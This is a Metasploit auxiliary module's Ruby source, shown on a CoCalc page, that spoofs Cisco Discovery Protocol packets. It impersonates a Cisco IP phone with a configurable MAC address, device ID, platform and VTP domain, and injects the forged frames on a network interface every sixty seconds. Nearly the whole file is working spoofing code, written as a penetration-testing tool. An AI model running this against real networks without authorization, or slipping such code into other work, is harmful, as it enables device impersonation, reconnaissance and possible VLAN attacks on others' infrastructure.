Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/cisco/cdp.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Capture
8
9
def initialize
10
super(
11
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
12
'Description' => %q{
13
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
14
to the CDP packets broadcast from this module will need to be analyzed with an
15
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
16
about the Cisco switch and router environment.
17
},
18
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
19
'License' => MSF_LICENSE,
20
'References' => [
21
[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
22
],
23
'Actions' => [
24
['Spoof', { 'Description' => 'Sends CDP packets' }]
25
],
26
'DefaultAction' => 'Spoof',
27
'Notes' => {
28
'Stability' => [OS_RESOURCE_LOSS],
29
'SideEffects' => [IOC_IN_LOGS],
30
'Reliability' => []
31
}
32
)
33
34
register_options(
35
[
36
OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),
37
OptString.new('VTPDOMAIN', [false, 'VTP Domain']),
38
OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),
39
OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']),
40
# XXX: this is not currently implemented
41
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
42
OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),
43
OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),
44
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
45
]
46
)
47
48
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
49
end
50
51
def setup
52
check_pcaprub_loaded
53
unless smac
54
raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
55
end
56
57
open_pcap
58
close_pcap
59
end
60
61
def interface
62
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
63
end
64
65
def smac
66
@smac ||= datastore['SMAC'] || get_mac(interface)
67
end
68
69
def run
70
open_pcap
71
72
@run = true
73
cdp_packet = build_cdp
74
print_status("Sending CDP messages on #{interface}")
75
while @run
76
capture.inject(cdp_packet)
77
Rex.sleep(60)
78
end
79
ensure
80
close_pcap
81
end
82
83
def build_cdp
84
cdp = ''
85
# CDP version
86
cdp << "\x02"
87
# TTL (180s)
88
cdp << "\xB4"
89
# checksum, empty for now
90
cdp << "\x00\x00"
91
# device ID
92
cdp << tlv(1, datastore['DEVICE_ID'])
93
# port ID
94
cdp << tlv(3, datastore['PORT'])
95
# TODO: implement this correctly
96
# capabilities = datastore['CAPABILITIES'] || "Host"
97
# CAPABILITIES
98
# define CDP_CAP_LEVEL1 0x40
99
# define CDP_CAP_FORWARD_IGMP 0x20
100
# define CDP_CAP_NETWORK_LAYER 0x10
101
# define CDP_CAP_LEVEL2_SWITCH 0x08
102
# define CDP_CAP_LEVEL2_SRB 0x04
103
# define CDP_CAP_LEVEL2_TRBR 0x02
104
# define CDP_CAP_LEVEL3_ROUTER 0x01
105
cdp << tlv(4, "\x00\x00\x00\x41")
106
# software version
107
cdp << tlv(5, datastore['SOFTWARE'])
108
# platform
109
cdp << tlv(6, datastore['PLATFORM'])
110
# VTP management domain
111
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
112
# random 1000-7000 power consumption in mW
113
cdp << tlv(0x10, [rand(1000..6999)].pack('n'))
114
# duplex
115
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
116
# VLAn query. TODO: figure out this field, use tlv, make configurable
117
cdp << "\x00\x0F\x00\b \x02\x00\x01"
118
119
# compute and replace the checksum
120
cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')
121
122
# Build and return the final packet, which is 802.3 + LLC + CDP.
123
# 802.3
124
PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') +
125
PacketFu::EthHeader.mac2str(smac) +
126
[cdp.length + 8].pack('n') +
127
# LLC
128
"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +
129
# CDP
130
cdp
131
end
132
133
def tlv(type, value)
134
[ type, value.length + 4 ].pack('nn') + value
135
end
136
137
def compute_cdp_checksum(cdp)
138
num_shorts = cdp.length / 2
139
checksum = 0
140
remaining = cdp.length
141
142
cdp.unpack("S#{num_shorts}").each do |short|
143
checksum += short
144
remaining -= 2
145
end
146
147
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
148
checksum = (checksum >> 16) + (checksum & 0xffff)
149
checksum = ~((checksum >> 16) + checksum) & 0xffff
150
[checksum].pack('S*').unpack('n*')[0]
151
end
152
end
153
154